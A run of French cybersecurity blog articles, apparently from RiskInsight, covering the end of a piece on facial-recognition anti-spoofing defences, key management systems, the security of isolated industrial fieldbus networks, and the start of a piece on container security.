1. Clignement des yeux : Le clignement des yeux peut être utilisé comme mécanisme de défense pour vérifier l’authenticité des visages en temps réel, en effet le clignement des yeux est dur à reproduire et manière naturelle sur une image ou une vidéo. En se basant sur des schémas de clignement naturels, les systèmes de reconnaissance faciale peuvent détecter les tentatives de fraude et renforcer la sécurité de l’identification biométrique.
2. Analyse de la démarche : L’analyse de la démarche offre une couche supplémentaire de défense en vérifiant la cohérence entre l’identité revendiquée et la manière dont une personne marche. Cette méthode peut aider à prévenir les attaques basées sur des imposteurs ou des contrefaçons en détectant les irrégularités dans la manière dont une personne se déplace, renforçant ainsi la sécurité des systèmes de reconnaissance faciale.
3. Analyse de la vivacité des visages : En utilisant des caractéristiques dynamiques du visage, tels que les mouvements musculaires et les clignements des yeux, l’analyse de la vivacité des visages permet de distinguer les visages réels des faux, empêchant ainsi les attaques basées sur des images ou des vidéos préenregistrées. Cette technique renforce la sécurité de l’authentification biométrique en s’assurant que les visages soumis à la reconnaissance sont vivants et en direct.
4. Scan 3D complet : Le scan 3D complet capture les détails tridimensionnels du visage, offrant une représentation plus précise et difficile à contrefaire. En utilisant cette technique, les systèmes de reconnaissance faciale peuvent détecter les tentatives de fraude par des masques ou des sculptures faciales, renforçant ainsi la sécurité de l’identification biométrique.
5. Techniques biométriques complémentaires de confiance : En combinant plusieurs modalités biométriques telles que la reconnaissance faciale, l’empreinte digitale et la reconnaissance de la voix, les systèmes de reconnaissance faciale peuvent bénéficier de multiples niveaux de défense. Cette approche renforce la sécurité en réduisant les risques d’erreurs de reconnaissance et de contournement, offrant ainsi une identification biométrique plus robuste et fiable.

Conclusion

De par leur conception en “boite noire”, les systèmes basés sur l’IA, avec plus récemment l’IA générative, sont actuellement faillibles. De nouvelles typologies et techniques d’attaque voient le jour, au même titre que des technologies de défense.

Dans le cas de la reconnaissance faciale, elle peut exposer ses utilisateurs à des risques évidents d’usurpation d’identité, avec de plus une perméabilité pro/perso, comme toute authentification biométrique, à la différence d’un simple mot de passe.

Avec la démocratisation des technologies de “deepfake”, et l’érosion de notre confiance dans les images, un effort de sécurisation de ces systèmes doit être assuré, à la hauteur de la grande responsabilité pouvant leur être accordée.

Cet article Les différents visages de la Reconnaissance Faciale : fonctionnement et attaques est apparu en premier sur RiskInsight.

L’accroissement des exigences de sécurité concernant tant les environnements industriels que les objets connectés ont provoqué une profusion des clés cryptographiques, parfois difficile à gérer, dans les entreprises. Celles-ci servent à la fois à chiffrer et déchiffrer des documents ou échanges, mais aussi à la vérification de l’authenticité de messages ou fichiers, par exemple lors de la mise à jour du logiciel d’un composant, pour s’assurer de son intégrité. 

Une solution au problème de la complexité de gérer de nombreuses clés cryptographiques dans une entreprise est de mettre en place un KMS, pour Key Management System. Cet outil aide à protéger les données, la sécurité des produits et des processus sous la forme d’un outil centralisé de gestion des clés cryptographiques.  

Au-delà d’une simple standardisation des processus, ils peuvent aider à régler des problèmes tels que la génération de clés différentes en grand nombre, le stockage et accès aux clés ou encore la dépréciation des clés. 

Pourquoi utiliser un KMS ? 

Les KMS (Key Management Systems) sont des systèmes de gestion de clés cryptographiques qui permettent aux entreprises de gérer de manière centralisée et sécurisée leurs clés de chiffrement. Ils s’adressent aux organisations gérant de nombreuses clés cryptographiques, et améliorent ainsi la sécurité de leurs environnements, en standardisant les processus et en apportant des API pour la réalisation des fonctions crypto (signature, chiffrement, déchiffrement). Les organisations ayant de grands réseaux informatiques, mais aussi ceux industriels comprenant des objets connectés tels que des capteurs, des actionneurs ou des systèmes embarqués, ou vendant des produits connectés sont particulièrement concernées. 

L’importance d’une bonne gestion des clés est cruciale pour la cybersécurité. Les processus de chiffrement, de signature ou de vérification sont essentiels pour beaucoup d’organisations, même s’ils paraissent parfois comme transparents aux opérationnels. Il est important que les clés de chiffrement soient gérées de manière optimale, afin d’éviter par exemple un stockage non sécurisé des clés ou l’utilisation de la même clé pour plusieurs appareils. 

Nous allons examiner de plus près ce qu’est un KMS, comment il fonctionne et pourquoi il peut devenir essentiel. Plusieurs types de KMS seront présentés, ainsi que les avantages liés à leur utilisation et les difficultés à leur intégration. Enfin, quelques clés seront données pour cibler plus précisément les entreprises qui peuvent bénéficier de ce type d’outil. 

Pour plus d’informations sur l’architecture KMS, vous pouvez également regarder la conférence de Paul Chopineau à l’occasion de la Miami S4x24 : https://youtu.be/J5aeAYxcc24?feature=shared. 

Figure 1 : Architecture type d’un KMS 

Les différentes manières de déployer un KMS 

Il existe plusieurs manières d’implémenter un KMS, selon les options proposées par leur constructeur. Certains sont proposés en mode SaaS. D’autres peuvent être installés sur les serveurs de l’entreprise (on premise), et il existe aussi des KMS hybrides pour lesquels les clés sont stockées on premise mais l’applicatif est dans le cloud. 

Les premiers sont des solutions cloud qui permettent de gérer les clés de chiffrement depuis un ordinateur ou un serveur. Ce sont des produits plus scalables et agiles, aussi plus faciles à déployer et à mettre à jour. En revanche, la sécurité des clés sera dépendante de celle du service cloud, même s’il est possible d’introduire des surchiffrements. 

Les KMS on premise sont des solutions logicielles et matérielles qui permettent de gérer les clés cryptographiques en utilisant des serveurs et HSM internes à l’organisation. Ils sont généralement plus personnalisables et parfois plus adaptés à des besoins spécifiques que les KMS déployés en mode SaaS. En revanche, leur intégration sera plus longue et leur coût d’achat (CAPEX initial) sera plus élevé. Leur avantage est aussi qu’ils peuvent permettre à une entreprise de s’assurer de sa souveraineté sur ses clés cryptographiques. Ils conviennent donc mieux aux entreprises ayant des exigences très fortes de sécurité et une capacité plus importante d’investissement initial 

Enfin, les KMS hybrides pourraient représenter un juste milieu entre sécurité optimale et facilité de déploiement. L’objectif est de garder le contrôle sur les clés, celle-ci étant dans ce cas sauvegardées sur site, mais de bénéficier d’une plus grande facilité de déploiement et de montée en charge grâce à un applicatif hébergé dans le cloud. Le déploiement de l’applicatif est ainsi facilité, mais il reste à installer les ressources matérielles de gestion des clés (HSMs). La sécurité des clés s’approche de celle d’une solution on premise, mais le logiciel rend celle-ci dépendante du service cloud. Attention néanmoins à se protéger d’une exploitation frauduleuse des clés depuis les infrastructures cloud qui pourrait être plus difficile à détecter que pour un KMS on premise. 

Figure 2 : Les trois implémentations possibles pour un KMS 

Il est aussi possible de classer les produits sur le marché selon le type de fournisseur. 

On retrouve ainsi premièrement les produits des grands acteurs du cloud : 

• Amazon avec AWS Key Management Service (AWS KMS), 
• Microsoft qui propose Azure Key Vault, 
• Google avec le Cloud KMS (Key Management Service), 
• IBM qui propose un KMS (Key Management Service) intégré à IBM Cloud Private. 

Leurs produits s’intègrent parfaitement aux services fournis par ces grands fournisseurs, y compris leurs outils de stockage sécurisé des clés, comme le KMS de Google, qui permet de créer des clés dans le cloud et les stocker dans des HSM. 

Des entreprises spécialisées se positionnent également sur le marché : 

• Cryptomathic avec son CKMS (Crypto Key Management System), 
• Entrust, dont le produit se nomme KeyControl, 
• HashiCorp, avec son produit Vault, 
• Utimaco, dont le KMS se nomme KeyBridge, 
• Thales, avec par exemple son Trusted Key Manager (TKM). 

Ces entreprises proposent notamment de faire fonctionner leurs outils avec des ressources logicielles, telles que les KMS de Microsoft, Amazon et Google pour HashiCorp ou encore VMware pour Entrust. Mais aussi des ressources matérielles, tels que des HSM qui apportent un niveau supérieur de sécurité contre les attaques physiques. 

Enfin, le marché a aussi été rejoint par des intégrateurs, comme Atos avec sa suite Trustway DataProtect KMS qui se destine à une installation on premises, sur le matériel de l’entreprise. 

Thalès enfin, qui se positionne à la fois comme fournisseur hardware, comme éditeur et comme intégrateur, propose plusieurs produits de gestion des clés pour les entreprises. Ceux-ci fonctionnent de mise avec ceux proposés tant par les acteurs plus spécialisés qu’avec les services cloud préférés de leurs clients. 

Figure 3 : Trois grands types de fournisseurs de KMS 

Les avantages à utiliser un KMS 

Les KMS (Key Management Systems) sont des outils dont le potentiel complet est encore à explorer, mais qui peuvent se révéler particulièrement utiles pour gérer de manière centralisée et sécurisée les clés de chiffrement d’une entreprise. Voici quelques avantages que l’on peut tirer de leur usage. 

Tout d’abord, les clés seront plus faciles à déployer. Les KMS permettent de générer rapidement et de manière automatisée de nouvelles clés cryptographiques, ce qui est particulièrement utile lorsqu’il est nécessaire de générer de nombreuses clés différentes pour transmettre à des produits, objets connectés ou systèmes industriels. 

Dans un contexte où les clés des objets connectés ne sont souvent pas renouvelées et sont gérées de manière non standardisée, les KMS permettront aux entreprises d’introduire le niveau de sécurité qui leur permettra de respecter les futures régulations des systèmes IoT. Même chose pour le chiffrement de données sensibles dans une base de données, qui est le cas d’usage à l’origine de la naissance des produits KMS. 

Pour améliorer le stockage et l’accès aux clés, les KMS offrent des APIs et interfaces centralisées, intégrant une gestion des permissions en lien avec la gestion des accès et identités (IAM), ce qui peut être particulièrement utile pour les entreprises disposant de nombreux types de clés et utilisateurs des clés de chiffrement. La difficulté sera de convaincre les fournisseurs et partenaires extérieurs à l’entreprise de rentrer les clés par le biais du KMS. Ce sera un élément à négocier dans les contrats cadres futurs. 

Les KMS permettent également de gérer la dépréciation des clés de chiffrement, en les remplaçant automatiquement par de nouvelles clés lorsqu’elles expirent, qu’elles sont compromises ou tout simplement obsolètes, par exemple à l’issue d’un changement dans la PSSI. Cela permet de maintenir la sécurité de vos données à tout moment. 

En résumé, les KMS sont des outils précieux pour gérer efficacement et de manière sécurisée les clés de chiffrement d’une entreprise. Ils permettent ainsi d’améliorer sa conformité aux réglementations et aux normes de sécurité en s’assurant que les procédures de gestion de clés et les clés utilisées sont conformes aux standards établis. 

Les pièges à éviter lors de l’implémentation d’un KMS 

Mettre en place un KMS (Key Management System) est une démarche lourde, qui peut être freinée ou même stoppée par les aspects suivants : 

• Coût du déploiement : les KMS peuvent être très coûteux à déployer. Il s’agit des frais de licence, mais aussi des ressources matérielles comme les HSM à mettre en place pour le stockage des clés et à dimensionner en fonction de l’usage qui en sera fait (fréquence d’accès, volumétrie). 

• Complexité de la mise en place : la mise en place d’un KMS peut être complexe, en particulier pour les entreprises disposant de nombreux appareils ou systèmes chiffrés ; pour lesquelles il aura justement une forte valeur ajoutée. Il peut être nécessaire de mettre en place de nombreuses intégrations pour communiquer avec les APIs du KMS en fonctions des différents cas d’usages. 

• Procédures de change management spécifiques : il sera parfois difficile de convaincre tous les utilisateurs de l’entreprise de l’importance de la mise en place d’un KMS, et de les inciter à utiliser cet outil de manière efficace. Pour résoudre ce problème, il faudra s’appuyer sur une stratégie de communication et de formation pour sensibiliser les utilisateurs à l’importance de la sécurité des clés de chiffrement et à l’utilité du système. 

• Compétences rares sur le marché : des architectes informatiques, des spécialistes en cryptographie, ou encore des gestionnaires de projets capables de piloter des projets structurants en cybersécurité. Tout autant de profils durs à sourcer et qui seront d’autant plus nombreux à recruter qu’il existe de cas d’usages de clés cryptographiques au sein de l’organisation. L’appel à des expertises externes sera alors très profitable et difficile à éviter. 

Les KMS, une solution essentielle pour la gestion sécurisée des clés de chiffrement 

En conclusion, les KMS sont une solution essentielle pour gérer de manière sécurisée les clés de chiffrement de votre entreprise. Tant pour les grandes entreprises disposant de nombreux appareils ou systèmes chiffrés, ou une petite entreprise rencontrant le même type de problématiques, un KMS peut grandement aider à centraliser et à sécuriser la gestion des clés crypto. 

A titre d’exemple, prenons le cas d’une entreprise de fret. Celle-ci doit gérer de nombreux composants dans les véhicules comme des capteurs pour s’assurer du respect de la chaîne du froid ou simplement des appareils pour le suivi les produits. Ces objets se connectent à des réseaux publics ou d’entreprise, transmettent des données chiffrées, mais sont aussi mis à jour régulièrement. Il faut donc signer les firmware lors du déploiement d’une mise à jour, et s’assurer que les clés de chiffrement des données que transmettent les capteurs, pour s’assurer de leur intégrité et de leur confidentialité, sont bien stockées de manière sécurisées, mais aussi sont à disposition des opérateurs en cas de modification d’un capteur. Pour tous ces processus, à la fois pour les automatiser mais aussi pour faciliter le travail des opérateurs et s’assurer que chaque intervenant ne dispose d’un accès qu’aux clés qu’il utilise, le KMS sera particulièrement utile. L’outil se chargera de la génération des clés, ou de leur récupération si elles ont été générées de manière externe, puis de tout le reste des étapes du cycle de vie de la clé. 

Il reste à noter que l’évaluation de la pertinence de cette technologie est à prendre au sérieux. Des études en amont ainsi qu’une procédure d’appel d’offre seront nécessaires pour s’assurer de la mise en place du bon outil. En réalisant ces procédures avec une vision précise sur les usages métiers, l’entreprise s’assurera de ne pas avoir à en changer par la suite. 

Cet article Les KMS : la clé de la gestion sécurisée des objets cryptographiques  est apparu en premier sur RiskInsight.

Historique

Remontons dans le temps : nous n’allons pas parler des différentes révolutions industrielles, mais notre histoire commence à l’entame des années 70. A l’époque, pas de réseau Ethernet, de modèle OSI ou même d’informatique. Les systèmes de production industriels reposent sur des mécanismes physiques à travers l’utilisation de signaux pneumatiques ou électriques. Les années 70 voient l’arrivée des premiers principes d’automatisation, et l’intégration des premiers équipements intelligents : les automates de programmation industrielle. Ces équipements permettent une mutualisation des ressources, un automate pouvant gérer plusieurs entrées et sorties électriques, et donc de centraliser la gestion des processus. Les automates intègrent aussi des modules de communications, et les systèmes industriels voient alors l’apparition des premiers bus réseau, avec l’utilisation de protocoles de communication série.

Ce modèle d’architecture continuera de se développer dans les années 80 avec la multiplication des protocoles industriels, notamment sur le modèle « Controller-Workers » : Un automate principal contient la base de données centralisée et joue le rôle de chef d’orchestre en étant relié aux « Workers », correspondant à d’autres automates, cartes d’entrées/sorties déportées, etc… Cette architecture permet de simplifier la programmation des processus en un point unique, et aussi la communication avec les organes de visualisation type interface homme-machine ou SCADA propriétaire.

Les années 90 voient la démocratisation du modèle TCP/IP et l’intégration de l’informatique « classique » dans les environnements industriels : plus besoin d’équipements propriétaires, un logiciel SCADA peut maintenant s’installer sur des systèmes classiques… encore faut-il que ces ordinateurs puissent communiquer avec les automates ! Des cartes de réseaux séries existent, mais les protocoles industriels commencent à s’adapter pour fonctionner sur du réseau Ethernet classique. Peu à peu, on remplace les automates maîtres afin de leur permettre d’utiliser les protocoles TCP/IP sur le réseau principal, tout en continuant à avoir des cartes réseaux séries pour les équipements de terrain. Et puis ce fut au tour des équipements de terrain de s’adapter à la standardisation de l’utilisation de TCP/IP plus ou moins partout, faisant qu’aujourd’hui l’utilisation de communications séries est minime. Même les entrées/sorties électriques tendent aujourd’hui à être délaissées au profit des liaisons IP sur des capteurs et actionneurs, via par exemple l’utilisation de connectiques « Single Pair Ethernet » assurant une connexion économique et peu encombrante.

Evolution des architectures terrains

On en arrive donc aujourd’hui à pouvoir rencontrer régulièrement l’architecture suivante : Un réseau physique industriel « principal » (en topologie étoile ou en anneau) sur lequel on retrouve tous les équipements de supervision et de communications avec l’extérieur (SCADA, Data Historian, poste opérateur…) ainsi que les automates « controllers », qui chacun possèdent un second port réseau. Ce second port réseau permet de créer sur chaque automate un sous-réseau isolé sur lequel se trouve les équipements au plus proche du processus physique. L’automate controller a alors un rôle de « pivot fonctionnel », échangeant d’un côté avec le SCADA principalement, et de l’autre avec les équipements de terrain via les registres de données de l’automate. Cette architecture peut être déclinée de plusieurs façon, par exemple en remplaçant l’automate pivot par un serveur classique, ou en combinant plusieurs couches de réseaux isolés avec un serveur SCADA possédant deux ports réseau, séparant le réseau industriel principal et le réseau de supervision dans lequel on retrouverait les automates controller sur lesquels se fait une nouvelle séparation avec des réseaux de terrain.

Exemple d’architecture industrielle intégrant des réseaux de terrain

Maintenant l’historique abordé, parlons du présent et notamment des trois évolutions qui nous amènent aujourd’hui à questionner la pertinence de ce modèle d’architecture :

• L’industrie 4.0 qui a changé l’exposition des réseaux industriels, passant d’un modèle isolé vers un modèle ultra-connecté afin de répondre aux enjeux de big data, d’interconnexion avec le Cloud, de jumeau numérique, etc…
• La standardisation des technologies industrielles permettant de se détacher des fournisseurs industriels, via le développement de « Soft PLC » sur Linux ou Windows embarqué ou l’utilisation de protocoles industriels standardisés type OPC-UA.
• L’introduction des solutions de cybersécurité dans le cœur du réseau industriel comme les serveurs de mise à jour, des pare-feux, des antivirus voire EDR ou même des sondes de cartographie, dont la présence prend sens avec la modernisation des infrastructures informatiques et le développement de la cybersécurité en milieu industriel.

Pour étudier la pertinence des réseaux de terrain face à ces nouveaux enjeux, nous allons aborder quatre sujets de sécurité opérationnelle : la sécurité des réseaux, la détection & cartographie, la gestion des mises à jour et les accès distants.

Sécurité réseau

La première question à se poser est simple : Quel est l’avantage des réseaux de terrain d’un point de vue cybersécurité ? Cet avantage se traduit dans le principe même du modèle d’architecture : l’utilisation d’un équipement en pivot offre une isolation physique entre un réseau industriel et un réseau de terrain. Il n’est donc par principe impossible de faire communiquer directement les deux réseaux, la transmission d’informations se faisant à travers une base de données (registres pour les automates, base de données OPC pour un serveur…). Pas besoin de pare-feu ou de diode : aucun flux ne peut aller d’un réseau à un autre, ce qui représente le meilleur moyen de se protéger d’une propagation vers les équipements de terrain.

Mais cette séparation via un équipement physique non-dédié au réseau est-elle vraiment infaillible ? Sur un équipement fonctionnant avec un système « classique » Windows ou Linux standard, la réponse est non. Il existe de multiples exemples d’attaques convertissant ces systèmes en pivot, exploitant les nombreuses possibilités offertes : exploitation de protocole d’accès distant type RDP, VNC ou SSH, RAT, implant C2C… De ce fait, une séparation avec ce type de système ralentira un attaquant mais ne réduit finalement pas fortement les possibilités d’atteindre les réseaux de terrain qui existeraient sur d’autres cartes réseaux.

Pour le cas d’un automate « classique », il s’agit la plupart du temps d’un équipement fonctionnant sur un système d’exploitation propriétaire qui offre peu de fonctionnalités : à minima il permet de faire tourner des programmes industriels et de communiquer avec un ou plusieurs protocoles industriels, et peut optionnellement contenir des serveurs plus classiques type HTTP ou FTP. L’équipement propose donc beaucoup moins de fonctionnalité qu’un ordinateur ou serveur, et n’a pas vocation à permettre des passerelles entre ses différentes cartes réseaux… du moins, c’est ce qu’on a tendance à croire. Il a été cependant prouvé qu’il est possible de créer des passerelles entre les différents ports réseaux d’un automate : via des travaux de recherches comme ceux de Nicolas Delhaye and Flavian Dola présentés lors de la GreHack 2020 (la vidéo ici), mais surtout plus concrètement à travers le malware Pipedream découvert en 2022. Notamment, ce malware permet de créer des routes sur des automates Schneider afin de les transformer en proxy et leur donner la capaciter de router n’importe quel protocole vers les réseaux de terrain.

Illustration du fonctionnement du module Pipedream ciblant les équipements Schneider

Nous avons donc la preuve que même dans le cas d’une séparation par un automate, le modèle n’est pas infaillible, mais il permet tout de même de fortement réduire les risques en n’exposant les réseaux de terrain qu’à des attaques très avancées.

Cartographie et supervision

Suite au paragraphe précédent se pose naturellement la problématique suivante : comment superviser un réseau dont le point fort est d’être isolé ? Premièrement au sujet de la journalisation, le constat actuel est que les automates et équipements industriels sont encore très peu inclus dans les périmètres de supervision de sécurité : pour des raisons techniques, tous les équipements n’étant pas forcément en capacité de remonter des journaux type syslog, mais aussi organisationnel, les SOC manquant encore de maturité pour exploiter correctement les journaux d’évènements de ce genre d’équipement industriel.

Afin de combler ce manque de visibilité, les environnements industriels sont de plus en plus sujet à l’installation d’une sonde réseau, permettant de répondre aux besoins de supervision et de cartographie. Les systèmes qui rentrent dans le périmètre d’application de la Loi de Programmation Militaire sont notamment dans l’obligation d’installer une sonde de détection qualifiée par l’ANSSI. Sur le plan technique, il est possible de faire communiquer des réseaux isolés avec une sonde en utilisant des TAPs réseau, qui ont pour fonction de copier le trafic réseau de manière passive pour permettre l’écoute dudit trafic. Sur le plan stratégique, les réseaux de terrain sont rarement l’endroit à surveiller côté réseau. On privilégiera les points d’interconnexions avec les autres réseaux (entreprise, fournisseur…) ou les équipements critiques pour le pilotage comme le SCADA.

Exemple d’architecture de supervision intégrant les réseaux de terrain

La solution des TAPs n’est cependant pas applicable pour des sondes « actives » qui vont chercher à faire de la cartographie en questionnant les différents équipements sur le réseau. Mais ce type de solution est rarement mis en place dans un contexte industriel afin d’éviter de « stresser » le réseau et les équipements.

Le modèle des réseaux de terrain reste donc compatible en se concentrant sur la supervision du réseau, avec l’installation de sonde pour de la détection, ainsi que de la cartographie passive. La remontée de journaux systèmes des automates et équipements industriels reste encore trop peu pertinente vis-à-vis des capacités d’analyse des SOC.

Mise à jour

Pour pouvoir faire des mises à jour, il est nécessaire d’avoir une interconnexion réseau avec un système permettant la redescente de ces mises à jour, ce qui s’oppose à l’isolement des réseaux de terrain. Le besoin de mise à jour en milieu industriel rend-il le modèle de réseau de terrain obsolète ?

Le maintien en condition de sécurité est un sujet complexe dans le cas des systèmes industriels : besoin de disponibilité fort empêchant toute intervention lourde, systèmes isolés d’internet ne permettant pas le téléchargement des mises à jour par le réseau… Dans le cas de réseaux composés principalement d’automates, les mécanismes de mise à jour ont évolué en prenant en compte ces contraintes, si bien qu’aujourd’hui les parcs automates maintenus à jour sont rares (même sur une base annuelle), et ces mises à jour sont principalement déployées manuellement par la maintenance. L’utilisation de réseaux de terrain pour cloisonner l’architecture n’entrave pas l’application de ces mêmes mécanismes sur les automates.

En revanche, l’intégration des technologies IT change la donne : l’une des premières solutions de sécurité recommandée sur un parc Windows est la mise en place d’un serveur WSUS pour centraliser le déploiement des mises à jour, le même principe étant aussi applicable pour des technologies Linux. Nous arrivons donc ici à une nouvelle contrainte des réseaux de terrain possédant des équipements type Soft-PLC ou PC opérateur dédié : un cloisonnement par double carte réseau empêche la centralisation de la gestion des mises à jour, obligeant la mise en place d’un processus d’application manuelle des patchs qui peut être complexe et chronophage sur un nombre d’équipements important.

Cette contrainte doit tout de même être évaluée par rapport au besoin. L’argument principal en faveur des mises à jour est le fait qu’elles permettent de corriger des vulnérabilités augmentant la surface d’attaque d’un équipement. Le modèle des réseaux terrain isolant fortement les systèmes, leur surface d’attaque est par définition déjà fortement réduite. Il est donc acceptable que ceux-ci ne soient pas constamment à jour, et dans ce cas une mise à jour manuelle et annuelle des équipements répond au besoin.

Ce modèle ne convient cependant pas avec les besoins des antivirus d’être à jour constamment pour garantir une protection optimale. C’est pour cela qu’il est nécessaire dans ce cas de s’appuyer sur le fait d’avoir des systèmes bougeant très peu dans le temps, ce qui facilite l’utilisation dans le temps de solution de filtrage applicatif en liste blanche type AppLocker ou WDAC (voir notre article sur le filtrage applicatif).

Finalement, les pratiques de mises à jour en milieu industriel se sont adaptées au principe même d’isolation réseau permettant de réduire ces besoins. Ces pratiques demandent cependant le durcissement des équipements à leur installation, ainsi que la mise en place de solutions permettant de maintenir le niveau de sécurité des systèmes avec un minimum de maintenance à effectuer.

Accès distant

Après avoir abordé les flux « automatisés » des mises à jour, qu’en est-t-il des flux initiés par un utilisateur pour accéder à un équipement à distance pour des opérations métier ou de maintenance ? Pour des automates, ces accès sont rares : ils n’ont pas besoin d’actions humaines pour effectuer leurs tâches, et dans le cas de maintenance effectuée en interne, elle est souvent réalisée en accédant à l’automate depuis le réseau sur lequel il se trouve (les réseaux dédiés à l’administration pour les automates sont encore très rares). Dans le cas où l’automate est accessible depuis le réseau de production principal, la maintenance peut être centralisée depuis un point de connexion unique. Par contre, les réseaux de terrain étant isolés du réseau de production, les automates s’y trouvant sont accédés en allant brancher l’ordinateur portable de maintenance au “bon” commutateur interconnectant les différents équipements du sous-réseau, voire même directement sur le port USB de l’automate avec une liaison série.

Les limitations apparaissent par contre pour des réseaux de terrain avec des équipements maintenus par un fournisseur ou prestataire de maintenance. En effet, la maintenance à distance est devenue le moyen privilégié, et il est assez rare aujourd’hui d’avoir du personnel tier de maintenance à disposition pour se déplacer physiquement sur site à tout moment. La solution la plus souvent rencontrée pour faire face à cette problématique est l’installation d’une terminaison VPN directement sur un réseau de terrain, avec un tunnel relié au prestataire. Cela répond effectivement à la problématique, mais contourne aussi tout le principe d’isolement des réseaux de terrain, qui sont alors exposés en cas de compromission du prestataire.

On atteint ici la plus grande limite du modèle de réseau terrain, renforcée qui plus est avec la tendance à la centralisation des accès distant et l’installation de solution type bastion qui ne peuvent pas couvrir les accès aux réseaux de terrain du fait de leur isolement.

Conclusion

L’existence des réseaux de terrain est principalement historique, du fait des anciens modèles d’architecture en controller/worker et de la mise en place graduelle du modèle TCP/IP dans les réseaux industriels. Ces modèles d’architecture se sont adaptés au cycle de vie des systèmes : ils sont très peu accédés par des utilisateurs et sont conçus pour fonctionner en autonomie en remontant les données à l’automate controller.

Le cloisonnement est le principal point fort des réseaux de terrain : transformer un automate en rebond sur deux interfaces réseaux différentes est une technique d’attaque très avancée. Afin de détecter de possibles attaques, des solutions existent pour mettre en place de la supervision sur des réseaux isolés, notamment via des TAPs.

L’autre avantage de l’isolement réseau est de réduire les efforts à faire sur le maintien en condition de sécurité. Le besoin de mise à jour d’un équipement isolé n’est forcément pas le même que sur un équipement utilisé par un humain et interagissant avec des réseaux tiers. Les équipements isolés ayant un cycle de vie avec peu de changement, l’effort doit être mis sur le durcissement à la mise en service.

A l’inverse, l’isolation de ces réseaux posent de nombreuses problématiques sur les accès distants : il est possible de les limiter quand la gestion du parc industriel est en interne, mais ils sont essentiels dans le cas où un prestataire doit intervenir à distance. Afin d’éviter les initiatives locales ou les solutions à la main des tiers, il est recommandé de mettre en place une solution d’accès distant maîtrisée (VPN, bastion…), vers les équipements accédés à placer dans un sous-réseau dédié avec un point d’entrée filtré et maîtrisé.

En synthèse, le modèle de réseau terrain est encore aujourd’hui pertinent. Cependant, les tendances récentes, notamment liées à l’industrie 4.0, vont poser de nouvelles problématiques : L’apparition notamment des Industrial IOT, impliquant la mise en place de bus IoT interconnectés avec l’extérieur, remet en question la pertinence d’avoir des réseaux IP isolés cohabitant avec des bus IoT plus exposés.

Sources

Dragos Analyzing PIPEDREAM: Results from Runtime Testing
https://www.dragos.com/blog/analyzing-pipedream-results-from-runtime-testing/

GreHack 2020: A full chained exploit from IT network to PLC’s unconstrained code execution
https://www.youtube.com/watch?v=PfdoaxYkmUE

Cet article Les réseaux de terrain : l’historique des systèmes industriels à l’épreuve du futur est apparu en premier sur RiskInsight.

En 2019, 84% des infrastructures de production utilisaient déjà des conteneurs[1]. Comme souvent, cette adoption massive s’est faite sans l’intégration des équipes CyberSécurité, parfois par méconnaissance de la technologie, parfois par une vision de simplicité et efficacité des équipes de développement.

Le besoin de sécurisation des conteneurs est plus présent que jamais, il est temps que les équipes Cyber comprennent la technologie pour définir les bonnes mesures de sécurité

Dans un premier temps, nous présenterons une comparaison entre les conteneurs et les machines virtuelles, puis nous reviendrons sur les raisons de l’émergence des conteneurs. Nous verrons ensuite comment les sécuriser tout au long de leur cycle de vie, étape par étape.

Machine virtuelle, conteneur : quelle différence ?

Mais pourquoi choisir un conteneur ? Pour comprendre cela, il faut tout d’abord regarder la différence entre une machine virtuelle et un conteneur

La différence principale entre une VM (Virtual Machine) et un conteneur réside dans les éléments inclus dans l’espace virtualisé. Un conteneur contient uniquement l’applicatif et les dépendances nécessaires pour son exécution alors qu’une VM contiendra un système d’exploitation sur lequel seront installées une ou plusieurs applications. Un conteneur ne possédant pas de système d’exploitation, il s’appuie sur celui de l’hôte sur lequel il s’exécute. Cette distinction permet de gagner en légèreté et complexité.

Mais alors, pourquoi les conteneurs ?

Les conteneurs n’ont pas été développés dans un objectif de renforcer le niveau de sécurité, mais plutôt pour des besoins d’infrastructure. Les principaux avantages sont :

• La consistance: les conteneurs peuvent être lancés sur n’importe quelle machine, ils fonctionneront de la même manière.
• L’économie: les conteneurs sont plus rapides et demandent moins de ressources que les VMs, ils coûtent donc moins cher.
• L’automatisation: il est beaucoup plus simple d’automatiser le déploiement d’un conteneur que la création d’une machine virtuelle (les technologies Cloud ont fait beaucoup de progrès sur ce point depuis).

Ces trois avantages, combinés à la popularisation de l’approche DevOps au sein des entreprises, ont fait exploser l’utilisation de conteneurs. Sans pour autant être mise de côté, la sécurité n’a pas été un objectif dans la conception des conteneurs. Ainsi, les bonnes pratiques de sécurité se sont mises en place au fur et à mesure du développement et de l’utilisation de cette technologie.

Les modèles d’exécution

Les avantages des conteneurs sont liés à un mode de fonctionnement spécifique qui s’appuie sur une cinématique d’exécution très particulière. Regardons à présent quels sont les modèles d’exécution des conteneurs.

Un conteneur peut être exécuté sur une machine hébergée on-premise ou dans le Cloud. Comme expliqué précédemment, un conteneur contient uniquement un applicatif et ses dépendances. Il ne possède pas de système d’exploitation et s’appuie ainsi sur les fonctionnalités de l’hôte. Par conséquent, un conteneur nécessitant des fonctionnalités Linux, devra fonctionner sur une machine au système d’exploitation Linux. Réciproquement, un conteneur requérant des fonctionnalités Windows s’exécutera sur une machine Windows. Cependant, des procédés de virtualisation, comme Hyper-V pour Windows, permettent de s’affranchir de ces contraintes.

Pour exécuter un conteneur sur une machine, il faudra simplement installer un logiciel de gestion de conteneurs (un container runtime). Parmi les plateformes de conteneurs, Docker, lxd et Containerd sont les plus utilisées.

Il est ainsi simple d’exécuter un unique conteneur sur une machine. Cependant, les entreprises possèdent souvent de nombreux d’applicatifs. Un problème se pose alors pour la gestion et la mise à l’échelle des conteneurs à déployer.

C’est à ce moment-là que les orchestrateurs de conteneurs entrent en jeu. Un orchestrateur va permettre de gérer facilement le déploiement, la surveillance, le cycle de vie, la mise à l’échelle ainsi que la mise en réseau des conteneurs. Ces orchestrateurs peuvent être configurés sur des machines on-premise ou à travers des services mis à disposition par les fournisseurs Cloud. Dans ce second cas, leur mise en place et leur configuration seront facilitées, car elles sont gérées par le fournisseur Cloud. La technologie la plus répandue d’orchestrateur au sein des entreprises est Kubernetes. Il existe aussi de nombreux produits se basant dessus, comme OpenShift par exemple. D’autres alternatives comme Docker Swarn permettent également cette orchestration.

L’infographie suivante résume les modèles d’exécutions ainsi que le nom des technologies ou services :

Cette grande variété des modes de déploiement permet d’adapter au mieux le conteneur au besoin métier.

Focus sur l’orchestrateur Kubernetes

Comme énoncé précédemment, Kubernetes et les produits basés sur cette technologie pour l’orchestration sont les plus répandus. Kubernetes sera ainsi utilisé pour illustrer le fonctionnement d’un orchestrateur. Pour le schématiser simplement, prenons l’analogie d’un port à conteneurs.

